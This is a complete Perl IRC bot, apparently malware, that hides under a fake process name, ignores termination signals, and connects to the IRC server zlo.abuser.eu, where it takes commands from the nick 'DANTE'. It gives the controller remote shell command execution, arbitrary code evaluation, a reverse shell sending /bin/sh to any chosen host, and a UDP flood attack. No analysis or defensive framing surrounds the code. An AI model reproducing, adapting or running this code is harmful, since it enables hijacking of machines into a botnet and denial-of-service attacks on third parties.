- #!/usr/bin/perl
- use IO::Socket;
- srand;
- if (`ps aux` =~ /rocknrollaaaa/) { exit; }
- my $fps = 'rocknrollaaaa';
- #my $key = 'sex@powered.by.mambo';
- my $aMaster = "DANTE";
- my $street = 'zlo.abuser.eu';
- my $door = '6667';
- my $num = '300';
- my $home = '#dante';
- my $meLen = '7';
- chomp (my $me = 'DAnteeee');
- chomp (my $bmidl = 'dnteee');
- chomp (my $last = 'danteee');
- my $walk = '2';
- if(fork) { exit; }
- $0 = $fps;
- $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE';
- package da;
- use IO::Select;
- our $dasocket;
- our $daselect = new IO::Select;
- my $cur_meh;
- sub raw { print $dasocket "$_[0]\n"; }
- sub mmeh {
- my $meh = $_[1];
- my @abc = ('a' .. 'z');
- for(my $i=0;$i<$_[0];$i++) { $meh .= $abc[int(rand($#abc))]; }
- return $meh;
- }
- sub init {
- my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
- PeerPort => $_[4],
- Proto => 'tcp',
- Timeout => '5') or return 0;
- if(defined($socket)) {
- $dasocket = $socket;
- $daselect->add($dasocket);
- $dasocket->autoflush(1);
- raw("USER ".$_[1]." 0 0 ".$_[2]);
- $cur_meh = $_[0];
- raw("NICK $cur_meh");
- return 1;
- }
- return 0;
- }
- sub loop {
- my $time_out = time;
- for(;;) {
- my @handles = $daselect->can_read(1);
- if((time - $time_out) > $num) { $daselect->remove($dasocket); $dasocket->close(); last; }
- next unless(@handles);
- foreach my $handle (@handles) {
- my $datain;$handle->recv($datain, 1023, 0);
- my @lines = split(/\r\n/, $datain);
- foreach my $line (@lines) {
- if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
- elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $home"); next; }
- elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_meh = mmeh($meLen, $me); raw("NICK ".$cur_meh); next; }
- run::bcmd("$line");
- }
- }
- }
- }
- package run;
- use Socket;
- sub bcmd {
- my @line = split(/ /, $_[0]);
- my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
- unless($Nick eq $aMaster) { return; }
- #unless($Mask eq $key) { return; }
- my $Type = shift(@line);
- unless($Type eq "PRIVMSG") { return; }
- my $To = shift(@line);
- $" = ' '; $line[0] =~ s/://;my $Text = "@line";
- if ($Text =~ /^(\Q$cur_meh\E\s+\.|\.)(.+)/) {
- if($2 =~ /^meh\s*(.*)/) {
- if($1) { $cur_meh = $1; }
- else { $cur_meh = da::mmeh($meLen, $me); }
- da::raw("NICK $cur_meh");
- return;
- }
- if($2 =~ /^bye/) { da::raw('QUIT :;'); exit; }
- return;
- }
- if ($Text =~ /^(\Q$cur_meh\E\s+\!|\!)(.+)/) {
- if(!fork) {
- if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }
- if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
- if ($2 =~ /^atk\s+(.+)\s+(\d+)\s+(\d+)/) { pwn::atk($To, $1, $2, $3); exit; }
- if ($2 =~ /^bov\s+(.+)/) { &bsh($To, $1); exit; }
- if ($2 =~ /^join (.*)/) {
- j("$1");
- }
- if ($2 =~ /^part (.*)/) {
- p("$1");
- }
- exit;
- }
- return;
- }
- if($Text =~ /^(\Q$cur_meh\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
- if ($To eq $cur_meh) { if(!fork) { bsh($Nick, $Text); exit; } return; }
- }
- sub bsh {
- my $to = $_[0];
- my $cmd = $_[1];
- if($cmd =~ /cd (.+)/) { chdir("$1") or da::raw("PRIVMSG $to :No such file or directory"); return; }
- my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
- foreach my $line (@sh_out) { if($line) { da::raw("PRIVMSG $to :$line"); sleep $walk; } }
- }
- sub j { &join(@_); }
- sub join {
- return unless $#_ == 0;
- da::raw("JOIN $_[0]");
- }
- sub p { part(@_); }
- sub part {
- da::raw("PART $_[0]");
- }
- sub rsh {
- da::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
- socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
- connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
- open(STDIN, ">&SOCKET");
- open(STDOUT, ">&SOCKET");
- open(STDERR, ">&SOCKET");
- system('/bin/sh');
- close(STDIN);
- close(STDOUT);
- close(STDERR);
- }
- package pwn;
- use POSIX;
- use Socket;
- our $s_time;
- sub atk {
- da::raw("PRIVMSG $_[0] :\002[atk\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
- $s_time = time;
- my $socket;
- my $packets = 0;
- socket($socket, PF_INET, SOCK_DGRAM, 17);
- while($_[3] > (time - $s_time)) {
- send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
- $packets++;
- }
- close($socket);
- da::raw("PRIVMSG $_[0] :\002[atk]\002 Sent ".$packets." packets.");
- }
- while(1) {
- if(da::init(da::mmeh($meLen, $me), $bmidl, $last, $street, $door))
- {
- da::loop();
- }
- sleep 40;
- }
